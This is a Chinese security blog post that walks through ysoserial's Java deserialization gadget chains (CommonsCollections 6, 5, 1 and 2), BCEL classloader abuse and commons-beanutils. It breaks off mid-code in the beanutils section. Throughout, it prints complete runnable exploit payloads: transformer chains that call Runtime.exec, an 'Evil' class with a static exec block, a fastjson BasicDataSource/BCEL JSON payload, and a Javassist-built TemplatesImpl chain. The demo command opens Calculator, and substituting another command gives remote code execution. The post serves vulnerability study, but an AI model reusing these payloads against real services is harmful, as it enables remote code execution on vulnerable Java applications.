美文网首页
第四周—再看ysoserial

第四周—再看ysoserial

作者: AxisX | 来源:发表于2020-12-29 14:01 被阅读0次

    很多知识学了忘,忘了学,还没有汇集成面。那要不再来一遍?

    学ysoserial工具,可以从CC6开始看,然后CC5等,这些都对应着commons-collections:3.1。另外想学会反序列化的利用,commons-beanutilsBCEL两个内容也要学会。

    准备下周有时间再仔细调试一遍,到时候再来补充。

    CC6

    利用链如下:

        Gadget chain:
            java.io.ObjectInputStream.readObject()
                java.util.HashSet.readObject()
                    java.util.HashMap.put()
                    java.util.HashMap.hash()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                        org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                            org.apache.commons.collections.map.LazyMap.get()
                                org.apache.commons.collections.functors.ChainedTransformer.transform()
                                org.apache.commons.collections.functors.InvokerTransformer.transform()
                                java.lang.reflect.Method.invoke()
                                    java.lang.Runtime.exec()
    

    下载一个Commons-collections3.1.jar,放入IDEA中分析一波。

    所有CC6的payload核心在于InvokerTransformer类,它实现了Transformer接口。

    public interface Transformer {
        Object transform(Object var1);
    }
    

    快捷键control+h可以快速搜索该接口的实现类

    Transformer接口的实现类

    反序列化漏洞攻击的核心在于如何构造如Runtime. getRuntime().exec(''calc'')这样命令执行的语句。该语句可以写成很多种形式,但都是要用到反射方法。以Mac下弹计算器的命令为例,获取Class对象->获取该对象的方法->执行该方法。

    String cmd="open /System/Applications/Calculator.app";
    Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);
    Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime,cmd);
    

    那么为什么CC系列链条的核心在于InvokerTransformer呢?它重写的transformer函数中部分内容如下,上述命令执行过程所需的getClass、getMethod、invoke方法都有了。而这些方法的参数又可以通过transformer自身的构造函数传入

    //InvokerTransformer#transform
    Class cls = input.getClass();
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
    return method.invoke(input, this.iArgs);
    
    //InvokerTransformer#InvokerTransformer
        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            this.iMethodName = methodName;
            this.iParamTypes = paramTypes;
            this.iArgs = args;
        }
    

    利用InvokerTransformer构造函数,调用transform,弹计算器,可以写成如下方式:

    InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
    invokerTransformer.transform(Runtime.getRuntime());
    

    但是这样写存在一个问题,Runtime.getRuntime()在实际应用中无法这样传入。那么就需要按照反射的方式,先获取Runtime类,再getMethod获取getRuntime方法。那么如何传入Runtime类,并且还得是Transformer的子类,进行一番搜寻能找到ConstantTransformer类。

        public ConstantTransformer(Object constantToReturn) {
            this.iConstant = constantToReturn;
        }
        public Object transform(Object input) {
            return this.iConstant;
        }
    

    如果用ConstantTransformer类传入Runtime类,结合InvokerTransformer,进一步可以修改成下面这样。

    ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
    Object iConstant=constantTransformer.transform(Runtime.class); //Runtime.class=>class类型->有getMethod方法
    InvokerTransformer invokerTransformer=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});
    Object k=invokerTransformer.transform(iConstant);
    InvokerTransformer invokerTransformer1=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});
    Object n=invokerTransformer1.transform(k);
    InvokerTransformer invokerTransformer2=new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"});
    invokerTransformer2.transform(n);
    

    首先因为传入的不再是Runtime.getRuntime对象,而是Runtime类,Runtime类属于java.lang.Class,该包中有的方法是getMethod,那么我们需要通过getMethod去调用getRuntime方法。对于新手来说,后面的参数怎么写就需要一些Java功底。

    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null});
    

    首先看一下InvokerTransformer构造函数定义的参数(String methodName, Class[] paramTypes, Object[] args),这就固定了参数类型部分,而参数具体内容就要根据getMethod方法定义public Method getMethod(String name, Class<?>... parameterTypes),这里提一个基础的小点,Class<?>是泛型,泛型本身是ArrayList类型,即要写成数组形式。也就是第一个参数要为String类型,第二个参数为Class[]数组类型。

    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null});
    

    invoker部分同理,public Object invoke(Object obj, Object... args),而exec就较为简单了public Process exec(String command)

    再回到上述ConstantTransformer和InvokerTransformer结合的写法中,存在一个问题就是如何能自动去多次调用transformer。同样在Transformer的实现类中寻找,ChainedTransformer顾名思义,可以构造一个Transformer链条。

        public ChainedTransformer(Transformer[] transformers) {
            this.iTransformers = transformers;
        }
        public Object transform(Object object) {
            for(int i = 0; i < this.iTransformers.length; ++i) {
                object = this.iTransformers[i].transform(object);
            }
            return object;
        }
    

    如果把上面的需要调用transform的内容都放进iTransformers中就大功告成,也就是说都要存进Transformer[] 这个数组中。

    Transformer[] Transformer=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
    };
    Transformer chainedTransformer=new ChainedTransformer(Transformer);
    chainedTransformer.transform(Transformer);
    

    接下来的问题就是,什么类可以调用transform函数,并且可以传入对象。按照CC6的链条,用了LazyMap类的get函数

        public Object get(Object key) {
            if (!super.map.containsKey(key)) {
                Object value = this.factory.transform(key);
                super.map.put(key, value);
                return value;
            } else {
                return super.map.get(key);
            }
        }
    

    根据函数定义可知,如果继续要往上去找get的调用方法,就要找到形如map.get()这样的方式。

    //TiedMapEntry
    public Object getValue() {
            return this.map.get(this.key);
        }
    
    public int hashCode() {
        Object value = this.getValue();//同类中的hashCode方法又调用了getValue
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
    //HashMap
      static final int hash(Object key) {
            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); //调用hashcode
        }
    
    public V put(K key, V value) {
            return putVal(hash(key), key, value, false, true) //调用hash
    
    //HashSet
            for (int i=0; i<size; i++) {
                @SuppressWarnings("unchecked")
                    E e = (E) s.readObject();
                map.put(e, PRESENT);
            }
    

    最终调用了readObject,而反序列化的攻击点就在于java.io.ObjectInputStream.readObject(),至此链条完整,具体原作者如何选取的hashmap为节点,虽不得而知,但令人赞叹。

    简版payload:

    public class CC6_Test {
        public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {
            Transformer[] Transformer=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"})
            };
            Transformer chainedTransformer=new ChainedTransformer(Transformer);
    
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
    
            HashSet map = new HashSet(1);
            map.add("foo");
    
            Field f = HashSet.class.getDeclaredField("map");
            f.setAccessible(true);
            HashMap innimpl = (HashMap) f.get(map);
    
            Field f2 = HashMap.class.getDeclaredField("table");
            f2.setAccessible(true);
            Object[] array = (Object[]) f2.get(innimpl);
    
            Object node = array[0];
            if(node == null){
                node = array[1];
            }
    
            Field keyField = node.getClass().getDeclaredField("key");
            keyField.setAccessible(true);
            keyField.set(node, entry);
            
            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(map);
            oos.flush();
            oos.close();
            //反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            Object obj = (Object) ois.readObject();
        }
    }
    

    从HashSet获取引用对象HashMap,private transient HashMap<E,Object> map;。因为该对象是private的,需要通过反射改变访问权限。f.get(Object obj)返回指定对象obj上此 Field 表示的字段的值。然后再从HashMap获取引用字段table,transient Node<K,V>[] table;。这个table是一个数组,然后再获取第一个元素叫做node,然后从node对象获取字段key。这样payload在反序列化时才能按照攻击链的顺序去执行。

    CC5

    CC5和CC6较为类似,比较着看,差异在于,LazyMap.get上层的调用链,CC5用的是TiedMapEntry.toString而CC6则是TiedMapEntry.getValue。toString方法return this.getKey() + "=" + this.getValue();,本身也是对getValue的调用。BadAttributeValueExpException构造函数可根据传入的对象来调用toString,并且具有接收ObjectInputStream参数的readObject方法,完美契合攻击链的构造。

    //CC5
    ObjectInputStream.readObject()
    BadAttributeValueExpException.readObject()
    TiedMapEntry.toString()
    LazyMap.get()
    
    //CC6
    ObjectInputStream.readObject()
    java.util.HashSet.readObject()
    java.util.HashMap.put()
    java.util.HashMap.hash()
    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
    LazyMap.get()
    

    附上简版payload:

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC5_test {
        public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
            Transformer transformerChain = new ChainedTransformer(
                    new Transformer[]{ new ConstantTransformer(1) });
            Transformer[] Transformer=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
                    new ConstantTransformer(1)
            };
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
            BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
            Field val=badAttributeValueExpException.getClass().getDeclaredField("val");
            val.setAccessible(true);
            val.set(badAttributeValueExpException,entry);
    
    
            Field field=transformerChain.getClass().getDeclaredField("iTransformers");
            field.setAccessible(true);
            field.set(transformerChain,Transformer);
            //序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(badAttributeValueExpException);
            oos.flush();
            oos.close();
            //反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream ois = new ObjectInputStream(bais);
            Object obj = (Object) ois.readObject();
        }
    }
    

    CC1

    Gadget chain如下,和上述的CC链一样,只是get方法上层调用选取了AnnotationInvocationHandler。

            ObjectInputStream.readObject()
                AnnotationInvocationHandler.readObject()
                    Map(Proxy).entrySet()
                        AnnotationInvocationHandler.invoke()
                            LazyMap.get()
    

    AnnotationInvocationHandler主要用于注解。注解的最底层实现则是一个动态代理。InvocationHandler类经常被用于动态代理,所谓动态代理就是定义了某个接口,但不编写实现类,通过JDK提供的proxy.newProxyInstance()创建一个接口对象

    总的来说,在运行期间动态创建一个interface实例的方法是:
    1.定义一个InvocationHandler实例,负责实现接口方法调用
    2.通过Proxy.newProxyInstance()创建interface实例,并配以三个参数:使用的ClassLoader、需要实现的接口数组、用来处理接口方法调用的InvocationHandler实例。
    3.将返回的object强制转型为接口。

    通过demo对比一下静态类和动态代理,此demo来自廖雪峰师傅的博客:

    //静态
    public interface Hello {
        void morning(String name);
    }
    public class HelloWorld implements Hello {
        public void morning(String name) {
            System.out.println("Good morning, " + name);
        }
    }
    Hello hello = new HelloWorld();
    hello.morning("Bob");
    
    //动态代理
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Method;
    import java.lang.reflect.Proxy;
    public class Main {
        public static void main(String[] args) {
            InvocationHandler handler = new InvocationHandler() {
                @Override
                public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
                    System.out.println(method);
                    if (method.getName().equals("morning")) {
                        System.out.println("Good morning, " + args[0]);
                    }
                    return null;
                }
            };
            Hello hello = (Hello) Proxy.newProxyInstance(
                Hello.class.getClassLoader(), // 传入ClassLoader
                new Class[] { Hello.class }, // 传入要实现的接口
                handler); // 传入处理调用方法的InvocationHandler
            hello.morning("Bob");
        }
    }
    
    interface Hello {
        void morning(String name);
    }
    
    

    该类中有个invoke函数:

    //invoke函数
    Object var6 = this.memberValues.get(var4);
    //memberValues的定义
    private final Map<String, Object> memberValues;
    

    再来看一下该类的readobject函数:

        private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
            var1.defaultReadObject();
            AnnotationType var2 = null;
    
            try {
                var2 = AnnotationType.getInstance(this.type);
            } catch (IllegalArgumentException var9) {
                throw new InvalidObjectException("Non-annotation type in annotation serial stream");
            }
    
            Map var3 = var2.memberTypes();
            Iterator var4 = this.memberValues.entrySet().iterator();
    
            while(var4.hasNext()) {
                Entry var5 = (Entry)var4.next();
                String var6 = (String)var5.getKey();
                Class var7 = (Class)var3.get(var6);
                if (var7 != null) {
                    Object var8 = var5.getValue();
                    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                        var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                    }
                }
            }
        }
    

    其实payload编写的过程主要是对Java特性要比较熟悉,例如memberValues是Map类型,Map有那些操作呢?插入map.put(k,v)、获取map.get(k)、移除map.remove(key),对Map进行遍历时可采用四种方式:

    //1
    for (String key : map.keySet())
    //2
    for (Map.Entry<String, String> entry : map.entrySet())
    //3
    Iterator<Map.Entry<String, String>> it = map.entrySet().iterator();
    while (it.hasNext()) {
        Map.Entry<String, String> entry = it.next();
    }
    //4
    for (String v : map.values()) 
    

    Entry是什么呢?它是Map中采用的一个内部类来表示一个映射项,也就是说每一个键值对就是一个Entry。

    entrySet是返回Map中所包含映射的Set视图。Set中的每个元素都是一个Map.Entry对象,可以使用getKey和getValue方法。keySet则是返回键的视图。

    附上简版payload:

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import java.io.*;
    import java.lang.annotation.Retention;
    import java.lang.reflect.*;
    import java.util.HashMap;
    import java.util.HashSet;
    import java.util.Map;
    
    public class CC1_test {
        public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchFieldException {
            Transformer transformerChain = new ChainedTransformer(
                    new Transformer[]{ new ConstantTransformer(1) });
            Transformer[] Transformer=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[] {"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[] {null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[] {"open /System/Applications/Calculator.app"}),
                    new ConstantTransformer(1)
            };
            Map innerMap = new HashMap();
    
            Map outerMap = LazyMap.decorate(innerMap,transformerChain);
            Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
            construct.setAccessible(true);
            InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class,outerMap);
    
            Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
    
            handler = (InvocationHandler) construct.newInstance(Retention.class,proxymap);
    
            Field field=transformerChain.getClass().getDeclaredField("iTransformers");
            field.setAccessible(true);
            field.set(transformerChain,Transformer);
    
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(handler);
            oos.close();
    
            System.out.println(baos);
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
            Object o = (Object) ois.readObject();
        }
    }
    

    BCEL

    BCEL,全名Apache Commons BCEL,一看也是Commons家族的,提供了一系列用于分析、创建、修改Java Class文件的API,位于原生JDK中,com.sun.org.apache.bcel。离别歌写的文章很清楚https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html。这个利用方式目前只存在于低于java 8u 251的版本中。

    在JVM的执行过程中,通过ClassLoader将类加载到内存。JDK中内置了很多ClassLoader,例如BootstrapClassLoader、ExtensionClassLoader、AppClassLoader、URLCLassLoader等。它们之间的委派模式级别从低到高。ClassLoader中有几个重要的方法,loadClass(加载全限定类名)、fineClass(搜索类的位置)、defineClass(将字节码转换为JVM的java.lang.class对象)等。

    在反射机制中经常看到用Class.forName来动态加载指定的类,从而返回一个CLass对象,如果此时没有指定ClassLoader,那么就会使用BootstrapClassLoader来加载。所以Class.forName本质上也是调用ClassLoader来实现的。但是Class.forName与ClassLoader.loadClass存在如下的区别:

    forName() 默认会对类进行初始化,会执行类中的 static 代码块
    ClassLoader.loadClass() 默认并不会对类进行初始化,只是把类加载到了 JVM 虚拟机中

    BCEL中也有个ClassLoader:com.sun.org.apache.bcel.internal.util.ClassLoader。该类重写了Java内置的ClassLoader#loadClass()方法,会判断类名是否以$$BCEL$$开头,如果是就对这个后面的字符串进行decode。

    下面是个用BCEL的demo,首先创建一个恶意类Evil,将Evil生成BCEL形式的字节码,然后用该字节码来创建对象,最终调用计算器。

    public class Evil {
        static {
            try {
                Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
            } catch (Exception e) {}
        }
    }
    
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import com.sun.org.apache.bcel.internal.util.ClassLoader;
    import java.io.IOException;
    
    public class BCEL_Test {
        public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
            JavaClass javaClass= Repository.lookupClass(Evil.class);
            String code= Utility.encode(javaClass.getBytes(),true);
            System.out.println(code);
    
            new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
        }
    }
    

    对于上述最后这一步加载,在fastjson中常用Class.forName("xxx", true, new ClassLoader),此时的ClassLoader是bcel包中的而非java.lang.ClassLoader

    在fastjson中,应用BasicDataSource的payload会调用Class.forName方法,并且可以自定义ClassLoader类型,demo如下:

    import com.alibaba.fastjson.JSON;
    import com.sun.org.apache.bcel.internal.Repository;
    import com.sun.org.apache.bcel.internal.classfile.JavaClass;
    import com.sun.org.apache.bcel.internal.classfile.Utility;
    
    import java.io.IOException;
    
    public class fastjson_test {
        public static void main(String[] args) throws IOException {
            JavaClass javaClass= Repository.lookupClass(Evil.class);
            String code= Utility.encode(javaClass.getBytes(),true);
    
            String poc= "{\n"+
                    "{\n"+
                    "    \"aaa\": {\n"+
                    "    \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"+
                    "            \"driverClassLoader\": {\n"+
                    "        \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"+
                    "    },\n"+
                    "    \"driverClassName\": \"$$BCEL$$"+code+"\"\n"+
                    "}\n"+
                "}: \"bbb\"\n" +
            "}";
            JSON.parse(poc);
        }
    }
    

    最后附上纯净的payload

    {
        {
            "aaa": {
                    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                    "driverClassLoader": {
                        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                    },
                    "driverClassName": "$$BCEL$$..."
            }
        }: "bbb"
    }
    

    CC2

    CC2的调用链如下,用的是PriorityQueue。

        Gadget chain:
            ObjectInputStream.readObject()
                PriorityQueue.readObject()
                    ...
                        TransformingComparator.compare()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    

    PriorityQueue,顾名思义,是一个优先级队列,按照队列中元素的自然顺序排列,或者根据构造队列时提供的Comparator进行排序。队列中不能有null元素,也不能插入不可比较对象(即,没有实现Comparable接口的对象)。另外,PriorityQueue是无界的,如果不断向其中添加元素,容器就会无限扩充。队列的头元素指向排序规则最小的元素。这也体现了优先队列的作用:每次取出的元素都是队列中权值最小的

    PriorityQueue是通过二叉小顶堆实现的,可以用一颗完全二叉树表示。所谓小顶堆就是任意一个非叶子节点的权值,都不大于其左右节点的权值。学过基础算法的人都了解,队列包含的基础操作有:创建队列;判断队列是否为空;插入、删元素;这些也被包含在优先队列函数中。以插入元素为例:


    https://www.cnblogs.com/CarpenterLee/p/5488070.html.offer()插入元素

    插入元素4后,会发现它不满足二叉小顶堆的定义,即9比4大,不是个小顶堆,那么就需要用siftUp函数进行调整。插入的时候会调用扩容函数grow。
    另外提一句,add(E e)和offer(E e)的语义相同,都是向优先队列中插入元素,只是Queue接口规定二者对插入失败时的处理不同,前者在插入失败时抛出异常,后则则会返回false。同样获取队列头元素(但不删除)也有两种方法:element()和peek(),二者的异同和add与offer类似。同样是获取队列头元素,但是同时删除头元素的方法则是:remove和poll

    关于PriorityQueue的算法问题,可以看下面文章的图,很清楚
    https://www.cnblogs.com/CarpenterLee/p/5488070.html

    然后是InvokerTransformer上层选取的TransformingComparator,从CC6的payload来看,TransformingComparator必然替代了ChainTransformer的功能。具体来看一下该类的内容

        public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
            this.decorated = decorated;
            this.transformer = transformer;
        }
    
        public int compare(I obj1, I obj2) {
            O value1 = this.transformer.transform(obj1);
            O value2 = this.transformer.transform(obj2);
            return this.decorated.compare(value1, value2);
        }
    

    类中的compare函数,调用了transformer对象的transform函数。这些是给出的Gadget chain中的内容,那么ysoserial中的payload又是什么样子的呢?

    首先提到了TemplatesImpl类。该类位于com.sun.org.apache.xalan.internal.xsltc.trax
    xalan处理器主要用于XML转换,它主要的类如下:

    TransformerFactory:转换器工厂,负责生产转换器;
    Transformer:XSLT转换器,负责加载XSLT样式单文档,并执行转换;
    Source:代表源XML文档的接口,其常用实现类有DOMSource、StreamSource、SAXSource;
    Result:代表转换结果的文档接口,其常用实现类有DOMResult、StreamResult、SAXResult。
    

    TemplatesImpl类

    defineTransletClasses函数有一行如下的代码,获取_bytecodes[i]中的类,传递给_class[i]

     _class[i] = loader.defineClass(_bytecodes[i]); 
    

    getTransletInstance()函数则对_class[]类进行了实例化,创建了类对象,但有个限制是类对象是AbstractTranslet类型。

     AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    

    那么接下来的问题就是如何调用getTransletInstance方法

    newTransformer()函数可以对getTransletInstance方法进行调用,POC中利用InvokerTransformer去调用newTransformer。

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                _indentNumber, _tfactory);
    

    后续,TransformingComparator的compare方法会去调用传入参数的transform方法,而compare方法的调用则依靠PriorityQueue类来实现了。

    PriorityQueue类siftDownUsingComparator函数执行了compare函数,由comparator来调用。而siftDown函数则在comparator不为空的前提下对siftDownUsingComparator函数进行调用,heapify又可以对siftDown进行循环调用。PriorityQueue类的readObject函数自动会调用heapify函数,这一步简直完美。

    //PriorityQueue类
    //siftDownUsingComparator
    if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
    
    private final Comparator<? super E> comparator;
    
    private void siftDown(int k, E x) {
            if (comparator != null)
                siftDownUsingComparator(k, x);
            else
                siftDownComparable(k, x);
        }
    
    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }
    
    private void readObject(java.io.ObjectInputStream s)
            throws java.io.IOException, ClassNotFoundException {
            // Read in size, and any hidden stuff
            s.defaultReadObject();
    
            // Read in (and discard) array length
            s.readInt();
    
            queue = new Object[size];
    
            // Read in all elements.
            for (int i = 0; i < size; i++)
                queue[i] = s.readObject();
    
            // Elements are guaranteed to be in "proper order", but the
            // spec has never explained what that might be.
            heapify();
        }
    

    整个payload链条补全大致如下:

    ObjectInputStream.readObject()
            PriorityQueue.readObject()
                PriorityQueue.heapify()
                    PriorityQueue.siftDown()
                        siftDownUsingComparator()
                            TransformingComparator.compare()
                                    TemplatesImpl.newTransformer()
                                        TemplatesImpl.getTransletInstance()
                                            TemplatesImpl.defineTransletClasses()
                                                TemplatesImpl.TransletClassLoader.defineClass()
    

    最后还要提一下Javassist,一个Java字节码类库。Javaassit.CtClass 表示 class 文件。一个 GtClass (编译时类)对象可以处理一个 class 文件,ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。

    ClassPool常用方法:

    getDefault : 创建ClassPool;
    appendClassPath, insertClassPath : 将一个ClassPath加到类搜索路径的末尾位置 或 插入到起始位置。通常通过该方法写入额外的类搜索路径,以解决多个类加载器环境中找不到类的尴尬;
    toClass : 将修改后的CtClass加载至当前线程的上下文类加载器中,CtClass的toClass方法是通过调用本方法实现。需要注意的是一旦调用该方法,则无法继续修改已经被加载的class;
    get , getCtClass : 根据类路径名获取该类的CtClass对象,用于后续的编辑
    makeClass:定义一个新的类(在知道类完整路径和名字的情况下)
    

    生成类对象的方式:

    ClassPool pool = ClassPool.getDefault();
    // 设置类路径
    pool.appendClassPath("/Users/yangyue/workspace/springboot-learn/java-agent/src/main/java/");
    CtClass ctClass = pool.get("com.rickiyang.learn.javassist.Person");
    Object person = ctClass.toClass().newInstance();
    

    ysoserial的CC2 payload借助javaassist来生成一个继承自AbstractTranslet的恶意类。AbstractTranslet在上文提到了,TemplatesImpl获取_bytecodes[i]中的类,该类在getTransletInstance函数中被限制为AbstractTranslet类型。

    最后附上裸版payload,便于新手阅读。

    import javassist.*;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.util.PriorityQueue;
    
    public class CC2_test{
        public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, InstantiationException {
            String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
            String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    
            ClassPool classPool=ClassPool.getDefault();//返回默认的类池
            classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
            CtClass payload=classPool.makeClass("CommonsCollections22");//创建一个新的public类
            payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22类的父类为AbstractTranslet
            payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");"); //创建一个空的类初始化,设置构造函数主体为runtime
    
            byte[] bytes=payload.toBytecode();//转换为byte数组
    
            Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
            Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
            field.setAccessible(true);//暴力反射
            field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
    
            Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
            field1.setAccessible(true);//暴力反射
            field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
    
            InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
            TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
            PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
            queue.add(1);//添加数字1插入此优先级队列
            queue.add(1);//添加数字1插入此优先级队列
    
            Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
            field2.setAccessible(true);//暴力反射
            field2.set(queue,comparator);//设置queue的comparator字段值为comparator
    
            Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
            field3.setAccessible(true);//暴力反射
            field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
    
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            outputStream.writeObject(queue);
            outputStream.close();
    
            ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
            inputStream.readObject();
        }
    }
    

    commons-beanutils

    对比一下ysoserial工具中commons-beanutils和commons-collections2的payload就会发现二者最大的区别如下:

    //commons-collections2
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    
    //commons-beanutils
    final BeanComparator comparator = new BeanComparator("lowestSetBit");
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
    

    也就是说用BeanComparator替代了InvokerTransformer。BeanComparator来自commons-beanutils包,该jar包主要提供对JavaBean进行各式操作,例如直接get/set一个属性值。
    BeanComparator类中有compare函数:

    //BeanComparator类
    //compare
    if (this.property == null) {
